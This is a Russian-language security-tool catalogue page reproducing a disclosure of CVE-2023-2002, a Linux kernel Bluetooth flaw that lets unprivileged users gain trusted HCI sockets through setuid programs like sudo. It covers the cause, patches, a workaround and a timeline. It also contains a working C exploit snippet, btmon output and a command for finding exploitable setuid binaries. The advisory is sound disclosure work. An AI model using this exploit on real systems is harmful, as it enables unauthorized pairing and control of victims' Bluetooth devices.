Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-2002 — Linux Bluetooth - Выполнение произвольных команд управления от имени непривилегированного пользователя | Kitploit
Инструменты/GitHubGitHub/lrh2000/cve-2023-2002
Повышение привилегийБезопасность BluetoothАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHublrh2000/cve-2023-2002

CVE-2023-2002

Linux Bluetooth - Выполнение произвольных команд управления от имени непривилегированного пользователя

Репозиторий
8573 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Linux Bluetooth: неавторизованное выполнение управляющих команд (CVE-2023-2002)

В подсистеме Bluetooth ядра Linux обнаружена недостаточная проверка прав при обработке системных вызовов ioctl для сокетов HCI. Из-за этого задачи без надлежащей возможности CAP_NET_ADMIN могут легко помечать сокеты HCI как доверенные. Доверенные сокеты предназначены для отправки и получения управляющих команд и событий, например для сопряжения или подключения нового устройства. В результате непривилегированные пользователи могут получить доверенный сокет, что приводит к неавторизованному выполнению управляющих команд. Для эксплуатации требуется лишь наличие набора широко используемых setuid-программ (например, su, sudo).

Причина

Непосредственной причиной уязвимости является следующий фрагмент кода:

root@kitploit:~
static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
                          unsigned long arg)
{
	...
        if (hci_sock_gen_cookie(sk)) {
		...
                if (capable(CAP_NET_ADMIN))
                        hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
		...
        }
	...
}

Реализация системного вызова ioctl проверяет, обладает ли задача, вызывающая вызов, необходимой возможностью CAP_NET_ADMIN для обновления флага HCI_SOCK_TRUSTED. Однако эта проверка учитывает только вызывающую задачу, которая не обязательно является открывшей сокет. Например, сокет может быть передан другой задаче с помощью fork и execve, и эта задача может быть привилегированной, например setuid-программой. Более того, если сокет используется как stdout или stderr, выполняется вызов ioctl для получения параметров tty, что можно проверить с помощью команды strace.

root@kitploit:~
# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305])            = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0

Вызовы ioctl для параметров tty никогда не завершатся успешно на сокетах HCI, но их достаточно, чтобы пометить сокеты HCI как доверенные. Таким образом, непривилегированная программа может удерживать доверенные сокеты HCI, что позволяет ей отправлять и получать управляющие команды и события, поскольку доверенный флаг никогда не будет снят.

Эксплуатация

Эксплуатация может быть настолько простой, как показано ниже:

root@kitploit:~
	int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);

	/* By executing sudo with an HCI socket as stderr, an ioctl
	 * system call makes the HCI socket privileged (i.e. with
	 * the HCI_SOCK_TRUSTED flag set).
	 */
	int pid = fork();
	if (pid == 0) {
		dup2(fd, 2);
		close(fd);
		execlp("sudo", "sudo", NULL);
	}

	waitpid(pid, NULL, 0);

	struct sockaddr_hci haddr;
	haddr.hci_family = AF_BLUETOOTH;
	haddr.hci_dev = HCI_DEV_NONE;
	haddr.hci_channel = HCI_CHANNEL_CONTROL;

	/* The socket has not been bound. It can be bound to the
	 * management channel now. After that, the HCI_SOCK_TRUSTED
	 * flag is still present, as it will indeed never be cleared.
	 */
	bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));

Кроме того, btmon можно использовать для подтверждения того, что сокет становится доверенным и последующие управляющие команды выполняются успешно:

root@kitploit:~
# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
        Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
      Set Powered (0x0005) plen 4
        Status: Success (0x00)

Полный PoC-эксплойт для изменения состояния питания устройств Bluetooth можно найти на GitHub.

Воздействие

При успешной эксплуатации выявленная уязвимость может нарушить конфиденциальность, целостность и доступность Bluetooth-связи. Злоумышленники могут использовать эту уязвимость для сопряжения контроллера с вредоносными устройствами, даже если служба Bluetooth отключена или не установлена. Также можно предотвратить сопряжение конкретных устройств или прочитать некоторые конфиденциальные данные, такие как OOB-данные.

Затронутость

Эксплуатируемая уязвимость присутствует в ядре Linux начиная с v4.9. Точнее, она становится эксплуатируемой после коммита f81f5b2db869 («Bluetooth: Send control open and close messages for HCI raw sockets»). До этого коммита для эксплуатации требовалось обманом заставить привилегированную программу привязать HCI-сокет, что на практике очень сложно (если вообще возможно) вызвать. Однако после этого коммита требуется лишь обманом заставить привилегированную программу вызвать системный вызов ioctl, что зависит только от наличия setuid-программы, как показано выше.

Эксплуатация работает до тех пор, пока существуют setuid-программы (или, точнее, программы с возможностью CAP_NET_ADMIN), которые вызывают ioctl для stdin, stdout или stderr. В большинстве дистрибутивов Linux быстрая (но очень грубая) проверка показывает, что довольно много setuid-программ используют системные вызовы ioctl; в таблице ниже они отмечены символом 'V':

root@kitploit:~
# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd

После ручной проверки вывода strace было обнаружено, что все эти пользователи ioctl используют вызовы ioctl для stdin, stdout или stderr, чтобы получить или установить параметры tty. Обратите внимание, что этим setuid-программам не передаётся вообще никаких аргументов. Если передать специально подготовленные аргументы, число пользователей ioctl может увеличиться. В результате ряд дистрибутивов Linux может быть уязвим к эксплуатации.

В качестве примечания: устройства Android, однако, вряд ли будут затронуты, поскольку для эксплуатации требуется наличие setuid-программ, использования которых Android избегает уже некоторое время. Кроме того, на Android также нет приложений с возможностью CAP_NET_ADMIN.

Смягчение последствий

Патч был опубликован в списке рассылки linux-bluetooth; он исправляет эту уязвимость, заменяя capable() на sk_capable(), где sk_capable() проверяет не только текущую задачу, но и то, что задача, открывшая сокет, обладает требуемой возможностью. Одновременно другой представленный патч ужесточает логику обработки ioctl, проверяя допустимость команды в начале hci_sock_ioctl() и немедленно возвращая код ошибки ENOIOCTLCMD, если команда недопустима.

В качестве обходного пути, если устройства Bluetooth вообще не используются (но физически удалить устройство невозможно), можно просто заблокировать устройства с помощью rfkill, что предотвратит их включение. В этом случае отправка управляющих команд для включения устройств Bluetooth не будет успешной. Это может значительно снизить воздействие данной уязвимости.

Есть два способа избежать подобных уязвимостей в будущем: ужесточение ядра Linux и ужесточение пользовательских setuid-программ.

  • В ядре Linux есть много мест использования capable(), которые проверяют возможность текущей задачи, но ничего не делают в отношении открывшего файл или сокет. Во многих случаях может быть разумно также проверять возможность открывшего. Однако добавление дополнительных проверок возможностей может привести к неожиданным регрессиям, хотя на момент написания реальных примеров таких регрессий не наблюдалось.
  • Stdin, stdout и stderr отличаются от других файловых дескрипторов тем, что они наследуются от родительской задачи, но используются непосредственно текущей задачей. Для привилегированных setuid-программ унаследованные файловые дескрипторы, возможно, следует рассматривать как недоверенные. Поэтому также кажется разумным явно сбрасывать привилегии при вызове системных вызовов для этих недоверенных файловых дескрипторов.

Связь

Эта уязвимость использует ровно тот же принцип, что и CVE-2014-0181. В случае CVE-2014-0181 проблема заключалась в отсутствии механизма авторизации операций Netlink на основе открывшего сокет, что позволяло локальным пользователям изменять сетевые настройки, используя Netlink-сокет в качестве stdout или stderr setuid-программы.

Хронология

2023-04-04: Я обнаружил эту уязвимость во время аудита стека протоколов Bluetooth в ядре Linux.

2023-04-09: Я сообщил об этой уязвимости команде безопасности ядра Linux и поставщикам дистрибутивов вместе с первоначальной версией патчей.

2023-04-12: Этой уязвимости присвоен идентификатор CVE-2023-2002.

2023-04-13: После нескольких дней обсуждения с мейнтейнерами патчи были соответствующим образом обновлены.

2023-04-16: Уязвимость была раскрыта в публичном списке рассылки oss-security и на GitHub (здесь). Два патча были опубликованы в публичном списке рассылки linux-bluetooth (первый, второй).

2023-05-01: Исправление попало в основную ветку ядра (в рамках окна слияния v6.4), а также в v6.3.1, v6.2.14, v6.1.27 и v5.15.110. Оно также было добавлено в очередь для следующего стабильного выпуска ядер v5.10, v5.4, v4.19 и v4.14.

2023-05-17: Наконец, исправление было включено во все стабильные ядра. В частности, оно также было применено к ядрам v5.10.180, v5.4.243, v4.19.283 и v4.14.315.

Скачать инструмент